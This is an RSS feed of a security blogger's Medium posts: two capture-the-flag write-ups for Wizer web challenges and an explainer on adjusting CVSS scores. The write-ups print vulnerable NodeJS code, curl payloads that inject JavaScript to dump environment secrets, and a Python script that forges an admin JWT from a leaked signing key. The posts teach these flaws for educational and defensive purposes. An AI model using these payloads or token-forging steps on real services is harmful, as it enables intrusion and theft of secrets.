<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Jeff Maley on Medium]]></title>
        <description><![CDATA[Stories by Jeff Maley on Medium]]></description>
        <link>https://medium.com/@jeffmaley?source=rss-d93125498910------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*mGRavvazI5wjektq.jpg</url>
            <title>Stories by Jeff Maley on Medium</title>
            <link>https://medium.com/@jeffmaley?source=rss-d93125498910------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 01:50:59 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@jeffmaley/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Wizer #61 Write Up]]></title>
            <link>https://medium.com/@jeffmaley/wizer-61-write-up-33db87440cf5?source=rss-d93125498910------2</link>
            <guid isPermaLink="false">https://medium.com/p/33db87440cf5</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Jeff Maley]]></dc:creator>
            <pubDate>Fri, 27 Feb 2026 18:19:07 GMT</pubDate>
            <atom:updated>2026-02-27T18:19:07.866Z</atom:updated>
            <content:encoded><![CDATA[<p>Wizer hosts CTF challenges on <a href="https://wizer-ctf.com/">https://wizer-ctf.com</a> and we’ll be looking at <a href="https://wizer-ctf.com/?id=rbtr90">#61 </a>today. Like most of the challenges, this one is based on <a href="https://nodejs.org/en">NodeJS</a>. This CTF is not the result of a vulnerable library; it’s a logic failure. These won’t always show up in automated scans or linters, but can be very dangerous.</p><h4>Walkthrough</h4><p>Titled “Investment Calculator”, the goal is defined with the following:</p><blockquote>With the flexible investment calculator, find the Secret to win the flag!</blockquote><p>What the “Secret” is or where it can be found is not specified, so figuring that out is step 1. I’m not a Node developer, so the answer wasn’t immediately clear, but after some poking and asking around, I was pointed at the process.env variable. It contains all of the environment variables for the process and secrets (passwords, API keys, etc…) are often placed in an environment variables. With that knowledge, let’s look at the rest of the code.</p><p>The API endpoint is defined on line 8.</p><pre>pp.post(&#39;/investmentCalulator&#39;, async (req, res) =&gt; {<br>    try {<br>        // Extract all inputs from the request body<br>        let json = req.body;<br>        let formula = String(json.formula || <br>            `{initialAmount} * Math.pow(1 + {annualInterestRate}/100/12, {totalMonths}) + <br>             {monthlyContribution} * ((Math.pow(1 + {annualInterestRate}/100/12, {totalMonths}) - 1) / <br>             ({annualInterestRate}/100/12))`<br>        );<br>        let initialAmount = Number(json.initialAmount) || 0;<br>        let monthlyContribution = Number(json.monthlyContribution) || 0;<br>        let annualInterestRate = Number(json.annualInterestRate) || 0;<br>        let years = Number(json.years) || 0;<br>        let totalMonths = years * 12;<br><br>        // Validate that all inputs are recieved in the and are numbers<br>        if (isNaN(initialAmount) || isNaN(monthlyContribution) || <br>            isNaN(annualInterestRate) || isNaN(totalMonths)) {<br>            throw new Error(&quot;Invalid input: All inputs must be numbers.&quot;);<br>        }<br><br>        // Validate that the formula contains placeholders for all required inputs<br>        const requiredPlaceholders = [&#39;{initialAmount}&#39;, &#39;{monthlyContribution}&#39;, <br>                                      &#39;{annualInterestRate}&#39;, &#39;{totalMonths}&#39;];<br>        for (const placeholder of requiredPlaceholders) {<br>            if (!formula.includes(placeholder)) {<br>                throw new Error(`Invalid formula: Missing placeholder ${placeholder}`);<br>            }<br>        }<br><br>        // Replace placeholders in the formula with actual values<br>        formula = formula.replace(/{initialAmount}/g, initialAmount)<br>                         .replace(/{monthlyContribution}/g, monthlyContribution)<br>                         .replace(/{annualInterestRate}/g, annualInterestRate)<br>                         .replace(/{totalMonths}/g, totalMonths);<br><br>        console.log(`Calculating with formula: ${formula}`);<br><br>        // Ensure no unreplaced arguments are left in the formula<br>        if (/{w+}/.test(formula)) {<br>            throw new Error(&quot;Invalid formula: Unreplaced placeholders remain.&quot;);<br>        }<br><br>        res.send(String(Function(&quot;return &quot; + formula)(math)));<br>    } catch (e) {<br>        res.send(e.message);<br>        console.error(e.message);<br>    }<br>})</pre><p>Summarizing, it takes four required parameters (<strong>initialAmount</strong>, <strong>monthlyContribution</strong>, <strong>annualInterestRate</strong>, <strong>totalMonths</strong>) and one optional (<strong>formula</strong>). If <strong>formula</strong> is not submitted as part of the request, a default is used (line 12). The default formula has placeholder strings that get replaced with the values submitted by the user.</p><p>There a couple of sanity checks. The first is on line 24 and it verifies that all values submitted for the placeholders (except <strong>formula</strong>) are numbers.</p><pre>        // Validate that all inputs are recieved in the and are numbers<br>        if (isNaN(initialAmount) || isNaN(monthlyContribution) || <br>            isNaN(annualInterestRate) || isNaN(totalMonths)) {<br>            throw new Error(&quot;Invalid input: All inputs must be numbers.&quot;);<br>        }</pre><p>There is a problem with this check and it starts on line 17:</p><pre>        let initialAmount = Number(json.initialAmount) || 0;<br>        let monthlyContribution = Number(json.monthlyContribution) || 0;<br>        let annualInterestRate = Number(json.annualInterestRate) || 0;<br>        let years = Number(json.years) || 0;<br>        let totalMonths = years * 12;</pre><p>This code checks each parameter and, if it’s not a number, replaces it with 0. So the first sanity check doesn’t work.</p><p>The second sanity on line 29 check ensures that all required parameters end up in the formula:</p><pre>        // Validate that the formula contains placeholders for all required inputs<br>        const requiredPlaceholders = [&#39;{initialAmount}&#39;, &#39;{monthlyContribution}&#39;, <br>                                      &#39;{annualInterestRate}&#39;, &#39;{totalMonths}&#39;];<br>        for (const placeholder of requiredPlaceholders) {<br>            if (!formula.includes(placeholder)) {<br>                throw new Error(`Invalid formula: Missing placeholder ${placeholder}`);<br>            }<br>        }</pre><p>To start, let’s test how it works when supplied with intended values. This works as intended.</p><p>The final check is on line 46:</p><pre>        // Ensure no unreplaced arguments are left in the formula<br>        if (/{w+}/.test(formula)) {<br>            throw new Error(&quot;Invalid formula: Unreplaced placeholders remain.&quot;);<br>        }</pre><p>This check is supposed to ensure that no non-numeric values remain in the formula after the placeholders are substituted. This would significantly improve security, but it’s flawed. The regex is supposed to look for word values, but instead of \w+ , w+ is used. This check is now looking for one or more occurrences of the letter ‘w’.</p><p>Line 51 is where the big flaw is:</p><pre>res.send(String(Function(&quot;return &quot; + formula)(math)));</pre><p>Breaking this down, this line creates a Function object and takes a string parameter. In this case, the string is “return + {formula}” where {formula} is either user-supplied or the default (line 13). This Function object is then immediately executed with the parameter math (math). math is defined on line 5 as an instantiation of mathjs. Using this syntax, it provides the functions from mathjs to the Function object. Finally, the output of the Function is rendered as String and sent back to the user. Since this essentially functions as an eval , we can supply arbitrary Javascript.</p><p>We need to figure out exactly where the secret is. We know JSON.stringify(process.env) will show us all of the environment variables, so we can create a formula parameter and add it:</p><pre><br>curl -X POST -H &quot;Content-Type: application/json&quot; -d &#39;{&quot;initialAmount&quot;: &quot;A&quot;, &quot;monthlyContribution&quot;: &quot;1&quot;, &quot;annualInterestRate&quot;: &quot;1&quot;, &quot;totalMonths&quot;: &quot;0&quot;, &quot;formula&quot;: &quot;{initialAmount} * {monthlyContribution} * {annualInterestRate} + {totalMonths} + `${JSON.stringify(process.env)}`&quot;}&#39; https://chal61-nnshr5.vercel.app/investmentCalulator</pre><p>I have to include all of the required parameters in the formula or the check on line 29 will trigger. Adding the arbitrary Javascript at the end with ‘+’ makes it a string concatenation.</p><p>That dumps all of the environment variables and we can see the one we want is called Secret . This payload confirms it:</p><pre>curl -X POST -H &quot;Content-Type: application/json&quot; -d &#39;{&quot;initialAmount&quot;: &quot;A&quot;, &quot;monthlyContribution&quot;: &quot;1&quot;, &quot;annualInterestRate&quot;: &quot;1&quot;, &quot;totalMonths&quot;: &quot;0&quot;, &quot;formula&quot;: &quot;{initialAmount} * {monthlyContribution} * {annualInterestRate} + {totalMonths} + `${process.env.Secret}`&quot;}&#39; https://chal61-nnshr5.vercel.app/investmentCalulator</pre><p>To complete the challenge, we can enter this in the submission box:</p><pre>{&quot;initialAmount&quot;: &quot;A&quot;, &quot;monthlyContribution&quot;: &quot;1&quot;, &quot;annualInterestRate&quot;: &quot;1&quot;, &quot;totalMonths&quot;: &quot;0&quot;, &quot;formula&quot;: &quot;{initialAmount} * {monthlyContribution} * {annualInterestRate} + {totalMonths} + `${process.env.Secret}`&quot;}</pre><h4>Wrapping Up</h4><p>Rule #1 of user-input is <strong>Don’t Execute User-Input</strong>. This CTF shows why it’s so dangerous. Line 51 is dangerous code, but the error is on line 46. A badly-implemented sanity check is arguably worse than no sanity check at all because it gives the illusion of safety. No code-scanner or linter will catch that. They’ll warn you about the code on line 51, but you’ll assume you’re protected by the sanity checks and now you’ve shipped an exploitable product.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=33db87440cf5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Wizer #56 Write Up]]></title>
            <link>https://medium.com/@jeffmaley/wizer-56-write-up-89fbf38b557c?source=rss-d93125498910------2</link>
            <guid isPermaLink="false">https://medium.com/p/89fbf38b557c</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Jeff Maley]]></dc:creator>
            <pubDate>Wed, 20 Aug 2025 17:38:42 GMT</pubDate>
            <atom:updated>2025-08-20T17:38:42.558Z</atom:updated>
            <content:encoded><![CDATA[<p>The CTF is located here — <a href="https://wizer-ctf.com/?id=tyli13">https://wizer-ctf.com/?id=tyli13</a></p><p>The prompt accompanying the challenge is:</p><blockquote>#56: Hit the admin</blockquote><blockquote>Get the flag by accessing the /admin endpoint</blockquote><p>These challenges always include the server-side code, so let’s break that down. It’s important to understand how it works before it can be broken. I am <em>not </em>a NodeJS developer, but having done a few of these challenges, I’ve learned to at least figure out what the code blocks do.</p><p>This section is all library imports. It’s good to know what’s being used, but not super important for this challenge.</p><pre>const express = require(&#39;express&#39;);<br>const bodyParser = require(&#39;body-parser&#39;);<br>const cors = require(&#39;cors&#39;);<br>const jwt = require(&#39;jsonwebtoken&#39;);<br>const path = require(&#39;path&#39;);<br>dotenv = require(&#39;dotenv&#39;);<br>// Load environment variables from .env file<br>dotenv.config();</pre><p>Next, we have this:</p><pre>// --- Config ---<br>const JWT_SIGN = process.env.JWT_SIGNATURE;<br>if (!JWT_SIGN) {<br>  throw new Error(&#39;Missing JWT_SIGNATURE environment variable&#39;);<br>}</pre><p>This tells us that a) JWTs are in use somehow and b) the signing key is stored as an environment variable. If you’re not familiar with JSON Web Tokens (JWTs), take a look here for a primer: <a href="https://www.jwt.io/">https://www.jwt.io/</a>. This is going to be important for solving the challenge.</p><p>Next we have:</p><pre>const app = express();<br>app.use(bodyParser.json());<br>app.use(cors());<br><br>// In-memory database (temporary array)<br>const users = [];<br><br>// Serve the entire &#39;public&#39; folder as static assets (optional)<br>app.use(express.static(path.join(__dirname, &#39;public&#39;)));</pre><p>The important part for me is the in-memory database of users. This means that there are no existing users to compromise, so we’ll be trying to turn our newly-registered user into an admin.</p><pre>function auth(req, res, next) {<br>  const token = req.body[&#39;session&#39;]; // token expected in request body<br>  if (!token) {<br>    return res.status(401).json({ message: &#39;Authentication required&#39; });<br>  }<br><br>  // Verify the JWT token<br>  jwt.verify(token, JWT_SIGN, (err, user) =&gt; {<br>    if (err) {<br>      const signatureB64 = Buffer.from(JWT_SIGN, &#39;utf8&#39;).toString(&#39;base64&#39;).replaceAll(&#39;=&#39;, &#39;&#39;);<br>      return res.status(403).json({<br>        message: &#39;Invalid token&#39;,<br>        intructions: `Please open a ticket with the following code ERR_SIGN_${signatureB64}`,<br>      });<br>    }<br><br>    req.user = user;<br>    req.admin = user &amp;&amp; user.isAdmin === true;<br>    next();<br>  });<br>}</pre><p>This section contains the dangerous code, but we’ll skip the details for now. What is important is that the auth function is actually verifying the JWT (not just decoding) and that a user with admin rights should have ‘isAdmin: true’ in their JWT.</p><pre>// Register a new user<br>app.post(&#39;/register&#39;, (req, res) =&gt; {<br>  const { username, password } = req.body;<br>  if (!username || !password) {<br>    return res.status(400).json({ message: &#39;Username and password are required&#39; });<br>  }<br>  const user = { username, password };<br>  users.push(user);<br>  res.status(201).json({ message: &#39;Registration successful&#39; });<br>});</pre><p>The registration endpoint looks pretty standard. Nothing super interesting here.</p><pre>// Login and generate a JWT token (no isAdmin in normal login)<br>app.post(&#39;/login&#39;, (req, res) =&gt; {<br>  const { username, password } = req.body;<br>  const user = users.find(u =&gt; u.username === username &amp;&amp; u.password === password);<br>  if (!user) {<br>    return res.status(401).json({ message: &#39;Invalid credentials&#39; });<br>  }<br><br>  const token = jwt.sign({ username }, JWT_SIGN, { algorithm: &#39;HS256&#39;, expiresIn: &#39;1h&#39; });<br>  res.json({ token });<br>});</pre><p>The login endpoint tells us that the JWT is using HMAC with SHA256 (HS256) as the hashing algorithm and they expire after one hour. We can see this from the JWT itself, too.</p><pre>// Profile page accessible only to authenticated users<br>app.post(&#39;/profile&#39;, auth, (req, res) =&gt; {<br>  if (req.admin) {<br>    return res.json({ message: &#39;You are the admin!&#39; });<br>  }<br>  res.json({ message: `Welcome to your profile, ${req.user.username}. You are not the admin.` });<br>});</pre><p>In the profile endpoint, we can see the admin check.</p><pre>app.post(&#39;/admin&#39;, auth, (req, res) =&gt; {<br>  if (!req.admin) return res.status(403).json({ message: &#39;Admins only&#39; });<br>  res.json({ message: &#39;Top secret admin data&#39;, flag: process.env.CTF_FLAG });<br>});</pre><p>The admin endpoint also has an admin check and this is the endpoint that returns the flag that we’ll need to submit to beat the challenge.</p><pre>const port = process.env.PORT || 3000;<br>app.listen(port, () =&gt; {<br>  console.log(`CTF running on port ${port}`);<br>});</pre><p>Finally we have the listener.</p><p>With the code analyzed, we need to determine where we can influence the execution; where is the application using our input? Here’s what the main page looks like.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*Z58L02CqENARHGGnyiqj3g.png" /></figure><p>When we register, we enter a username and password and we enter a username and password during login. The code didn’t show me any SQLi options or database injections of any type. There are also no existing users, so brute forcing won’t help with usernames and passwords. If we create a user and login, we get a JWT, which is then submitted when the “Go to Profile” button is pressed. It otherwise takes no input.</p><p>I used OWASP ZAP to capture the session traffic and retrieve the JWT. Using something like ZAP (or BurpSuite) is useful for editing and resending requests which we’ll do later. The POST payload is this:</p><pre>{&quot;session&quot;:&quot;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImppYmJhIiwiaWF0IjoxNzU1NDcyMDc4LCJleHAiOjE3NTU0NzU2Nzh9.zn-Sv535pOLVJieQrN4eVVyYI3s7FyYoDnrPvyR28_s&quot;}</pre><p>The JWT is</p><pre>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImppYmJhIiwiaWF0IjoxNzU1NDcyMDc4LCJleHAiOjE3NTU0NzU2Nzh9.zn-Sv535pOLVJieQrN4eVVyYI3s7FyYoDnrPvyR28_s</pre><p>Decoding the JWT, we get this for the header. It confirms what we already saw in the code:</p><pre>{<br>  &quot;alg&quot;: &quot;HS256&quot;,<br>  &quot;typ&quot;: &quot;JWT&quot;<br>}</pre><p>The payload is this:</p><pre>{<br>  &quot;username&quot;: &quot;jibba&quot;,<br>  &quot;iat&quot;: 1755472078,<br>  &quot;exp&quot;: 1755475678<br>}</pre><p>It’s a very minimal payload, but we see the username, issued at (iat), and expiry (exp) fields and that it expires after an hour. From looking at the code, we really want the payload to look like this:</p><pre>{<br>  &quot;username&quot;: &quot;jobba&quot;,<br>  &quot;iat&quot;: 1755474203,<br>  &quot;exp&quot;: 1755477803,<br>  &quot;isAdmin&quot;: true<br>}</pre><p>To make that work, we need the signing key. Looking back at the auth function, remember that we saw this:</p><pre>  // Verify the JWT token<br>  jwt.verify(token, JWT_SIGN, (err, user) =&gt; {<br>    if (err) {<br>      const signatureB64 = Buffer.from(JWT_SIGN, &#39;utf8&#39;).toString(&#39;base64&#39;).replaceAll(&#39;=&#39;, &#39;&#39;);<br>      return res.status(403).json({<br>        message: &#39;Invalid token&#39;,<br>        intructions: `Please open a ticket with the following code ERR_SIGN_${signatureB64}`,<br>      });<br>    }</pre><p>This is both dangerous and a really odd decision by the developer. If an error is detected in the JWT, the signing key is encoded as base64 and then included in the error returned to the user. Base64 is reversible, so if we send a flawed JWT, we’ll get the signing key back. Sending a bad JWT, we get:</p><pre>{&quot;message&quot;:&quot;Invalid token&quot;,&quot;intructions&quot;:&quot;Please open a ticket with the following code ERR_SIGN_c3VwZXJfc2VjcmV0X2p3dF9zaWduYXR1cmUyMDI1ISE&quot;}</pre><p>All we’re interested in is the following:</p><blockquote>c3VwZXJfc2VjcmV0X2p3dF9zaWduYXR1cmUyMDI1ISE</blockquote><p>If we decode that, we get:</p><blockquote>super_secret_jwt_signature2025!!</blockquote><p>Now all we need to do is generate a new JWT with our admin field and access the admin endpoint. I did this in Python:</p><pre>import jwt<br>import datetime<br><br>now = datetime.datetime.now().replace(microsecond=0).timestamp()<br># Define the payload<br>payload = {<br>            &#39;username&#39;: &#39;jobba&#39;,<br>            &#39;iat&#39;: now,<br>            &#39;exp&#39;: int(now) + 3600,<br>            &#39;isAdmin&#39;: True<br>            }<br><br># Define the secret key<br>secret_key = &quot;super_secret_jwt_signature2025!!&quot;<br><br># Encode the JWT<br>encoded_jwt = jwt.encode(payload, secret_key, algorithm=&quot;HS256&quot;)<br><br>print(encoded_jwt)</pre><p>I edited a previous POST request in ZAP…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fsa0WKrf_C_mRtrhr9Cb0A.png" /></figure><p>and sent the request and…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GTHwuNC3wNq0OSWsj07SFg.png" /></figure><p>there’s our CTF flag.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=89fbf38b557c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[You’re using CVSS wrong…Probably]]></title>
            <link>https://medium.com/@jeffmaley/youre-using-cvss-wrong-probably-066e735ca716?source=rss-d93125498910------2</link>
            <guid isPermaLink="false">https://medium.com/p/066e735ca716</guid>
            <category><![CDATA[cvss]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[vulnerability-management]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Jeff Maley]]></dc:creator>
            <pubDate>Wed, 12 Feb 2025 16:45:39 GMT</pubDate>
            <atom:updated>2025-02-12T16:45:39.165Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oG4QjvMEbdEQzeOuBO_uFQ.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@guerrillabuzz?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">GuerrillaBuzz</a> on <a href="https://unsplash.com/photos/a-person-sitting-at-a-desk-with-a-laptop-on-it--NwD_UggDGs?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Unsplash</a></figcaption></figure><p>CVSS and CVEs and their management and assignment have bubbled up in the news and blogosphere again. They are both inevitably polarizing, with some decrying that they’ve outlived their usefulness and should be discarded and others pointing out that there isn’t another solution at this time. In this post, we’ll discuss CVSS 3.1 as it’s still the most widely used.</p><h4>Primer</h4><p><strong>CVE</strong></p><p><a href="https://www.cve.org/About/History">CVE </a>is short for Common Vulnerabilities and Exposure. When someone refers to a “CVE”, what they’re talking about is a specific vulnerability that has a CVE id in the form of CVE-&lt;year&gt;-&lt;numeric identifier&gt; (eg: CVE-2014–0160).</p><p><strong>CNA</strong></p><p>A CNA is a Certified Numbering Authority. A CNA is authorized to issue CVE ids for products within a given scope. For example, Amazon is the CNA for AWS products and services. No other entity can issue a CVE id for AWS products or services.</p><p><strong>CVSS</strong></p><p><a href="https://www.first.org/cvss/">CVSS </a>is short for Common Vulnerability Scoring System. It takes a variety of attributes about a given vulnerability and returns a numeric score between 0 and 10. CVSS scores are used to help prioritize vulnerabilities. For a vulnerability like <a href="https://nvd.nist.gov/vuln/detail/cve-2014-0160">CVE-2014–0160</a>, it was assessed at 7.5 and so labeled “High”. In addition to a numeric score, a CVSS assessment will result in a vector string like the below:</p><pre>CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</pre><p>Breaking that down, we get:</p><p><strong><em>CVSS:3.1</em></strong> — This is the version of CVSS used. There are versions 2.0, 3.x (inclusive of 3.1), and now 4.0</p><p><strong><em>AV </em></strong>— Attack Vector. In other words, how can this vulnerability be exploited? Options are “L” for local (meaning at the keyboard), “A” for network-adjacent (the attacker is on the same network segment and can view or intercept broadcast and collision network data), or “N” for network. The latter refers to routable networks and is an indication that the vulnerability is remotely exploitable.</p><p><strong><em>AC </em></strong>— Attack Complexity. How difficult is the attack? Is as simple as sending a malformed packet or are there several factors that have to be just right in order for the attack to succeed. Options are L, M, H for low, medium, and high.</p><p><strong><em>PR </em></strong>— Privileges Required. For the attack to be successful, what level of access does the attacker require? “H” requires administrative privileges, “L” requires only user privileges, and “N” is unauthenticated.</p><p><strong><em>UI </em></strong>— User Interaction. Does the attack require the affected user to do anything? “Y” or “N” for yes and no.</p><p><strong><em>S </em></strong>— Scope. Does the vulnerability allow the attacker to modify resources beyond the affected component? “C” and “U” for changed and unchanged, respectively.</p><p><strong><em>C</em></strong>, <strong><em>I</em></strong>, <strong><em>A </em></strong>— Confidentiality, Integrity, Availability. This trio reflects the potential damage to these aspects of the affected component, system, and data. Options are “H”, “M”, and “L” for high, medium, and low.</p><h4>Beyond the Base Score</h4><p>The CVSS score discussed above is referred to as the <em>Base Score. </em>The vulnerability was evaluated in isolation from any other components of an application or network and given a score. Who did the assessment? Typically, the CNA, or Certified Numbering Authority. This is an entity that has responsibility for one or more software components and is authorized to release CVE entities and assess the risk using CVSS. This is also where a lot of consuming organizations stop reading and that’s a problem.</p><p>The base score is important, but it’s just that: a base score. A consuming organization (ie: a company that needs to remediate their risk) must then take that base score and apply environmental and temporal attributes to get a contextualized score, or one that takes into account any existing mitigations or deployment considerations that would decrease, or increase, the risk. CVSS allows for this with the inclusion of Temporal and Environmental metrics.</p><h4>The Temporal and the Environmental</h4><p>These scores are supplemental to the base score and allow and organization to tailor the vulnerability score to their organization, or even application by application.</p><p><strong>Temporal</strong></p><p><strong><em>E </em></strong>— Exploit Code Maturity. Is there functional exploit code and how usable is it? Values can be “H”, “F”, “P”, or “U” for High, Functional, Proof-of-Concept, and Unproven. High would be an exploit that is automatically, and successfully, executed as soon as a vulnerable computer is attached to a network. Functional is slightly less serious; maybe the code exists and often works in Metasploit. Proof-of-Concept is just that; reference code that might work in specific situations. Unproven indicates no known exploit code exists. Of note is that just because *you* as a security practioner hasn’t found functional code doesn’t mean it doesn’t exist, so this attribute should be carefully vetted.</p><p><strong><em>RL </em></strong>— Remediation Level. How possible is remediation? Values can be “U”, “W”, “T”, or “O” for Unavailable, Workaround, Temporary Fix, and Official Fix. Unavailable indicates that there is no patch and no mitigation. Workaround indicates that while a fix isn’t available, a mitigation is. Temporary fix is a band-aid whose longevity is unknown, and Official Fix means there is a vendor-supplied patch to remediate.</p><p><strong><em>RC </em></strong>— Report Confidence. How much trust do you have in the vulnerability report? Values can be “C”, “R”, or “U” for Confirmed, Reasonable, and Unknown. Confirmed indicates that there is no disagreement that the vulnerability exists, Reasonable indicates that it likely does but is based on limited evidence, and Unknown indicates that there is significant disagreement on the validity of the report.</p><p><strong>Environmental</strong></p><p><strong><em>CR</em></strong>, <strong><em>IR</em></strong>, <strong><em>AR </em></strong>— Confidentiality Requirement, Integrity Requirement, Availability Requirement. What are the actual requirements for the affected asset? The values are the same as for <strong><em>C</em></strong>, <strong><em>I</em></strong>, and <strong><em>A </em></strong>above, but tailored to the asset in question. For example, if a given vulnerability is only affecting a test laptop in the IT lab, the values here would likely be “L”. The laptop can be easily replaced and contains no confidential data. If the vulnerable asset is the database server for your CRM application and doesn’t have a redundant node, these values would all be “H”.</p><p>As a note, all of the base score attributes have a <em>modified</em> version available as part of the Environmental scores (eg: Modified Attack Vector (MAV), Modified Attack Complexity (MAC). There is a common objection that vulnerabilities are assessed incorrectly and given CVSS scores that do not align with the technical details. These fields allow an organization to override the base score with values that are consistent with their own security views.</p><h4>Putting It All Together</h4><p>Let’s take <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-24016">CVE-2025–24016</a> as an example. This is a potential remote-code execution (RCE) in Wazuh, a popular, open-source SIEM. Looking at the CVSS vector provided by NIST, it is</p><pre>CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H</pre><p>This tells us at the vulnerability can be exploited remotely (AV:N), it is easy to exploit (AC:L), and it requires low privileges (PR:L) and no interaction from the user (UI:N). Its exploitation allows access to another authentication domain (S:C) and can result in a significant loss of data integrity (I:H) and availability (A:H), but not confidentiality (C:L). We rarely get to see the analysis that results in that vector (I’m personally suspicious of the C:L part), but that’s not important for this exercise. Based on that vector, the resulting CVSS score is <a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H">9.9</a>, a Critical.</p><p>Let’s add in our Temporal scores.</p><p><strong><em>E </em></strong>— There is a proof-of-concept code snipped in the <a href="https://github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh">Github advisory</a>, so we will set this to “P” for Proof-of-Concept</p><p><strong><em>RL </em></strong>— There is an upgrade that resolves the vulnerability, this this is “O” for Official Fix.</p><p><strong><em>RC </em></strong>— While there’s no PoC code, this report is reasonable, so we will set this to “R” for Reasonable.</p><p>By adding those scores, we get the following vector string</p><pre>CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H/E:P/RL:O/RC:C</pre><p>This gives us an adjusted score of <a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H/E:P/RL:O/RC:C">8.9</a>, which is a High. This is a small change, but many organizations have significantly longer timelines for remediating Highs as opposed to Criticals. At an organization I previously worked at, this would have changed the timeline from 3 days to 14 days.</p><p>Let’s modify our scenario so that the Wazuh server is not in production yet. It’s up and running, but still part of an evaluation. We can set the Environmental attributes as below:</p><p><strong><em>CR </em></strong>— This is still “H” for High. There could be sensitive data on the system in the form of aggregated logs.</p><p><strong><em>IR </em></strong>and <strong><em>AR </em></strong>— These are now “L” for Low. This system is not in production so its data integrity and availability are not important to the functioning of the business.</p><p>This gives us a vector string of:</p><pre>CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H/E:P/RL:O/RC:C/CR:H/IR:L/AR:L</pre><p>Our score now is <a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H/E:P/RL:O/RC:C/CR:H/IR:L/AR:L">7.6</a>, still a High. Not much an improvement, but if you have another High with a higher score, you can now prioritize more accurately. If we knew this system did *not* have sensitive data and could set <strong><em>CR </em></strong>to “L”, we would have a score of <a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H/E:P/RL:O/RC:C/CR:L/IR:L/AR:L">6.7</a>, a Medium.</p><h4>Wrapping It Up</h4><p>CVSS has its flaws, but it offers a robust schema for assessing a risk and tailoring the assessment to your organization’s technology footprint and risk appetite. Too many organizations take the CVSS base score and leave it at that. In our example, we started with a Critical but were able to reduce it to a High by using Temporal and Environment attributes to increase the precision of the score, allowing for a better utilization of people resources in remediating the risk. By refining the base score, you will ease the burden on developers and IT personnel and enable a much more efficient business.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=066e735ca716" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Destination: AWS Organizations]]></title>
            <link>https://medium.com/@jeffmaley/destination-aws-organizations-261bde93530a?source=rss-d93125498910------2</link>
            <guid isPermaLink="false">https://medium.com/p/261bde93530a</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cloud]]></category>
            <category><![CDATA[amazon-web-services]]></category>
            <dc:creator><![CDATA[Jeff Maley]]></dc:creator>
            <pubDate>Thu, 18 Apr 2024 17:11:17 GMT</pubDate>
            <atom:updated>2024-04-18T17:11:17.142Z</atom:updated>
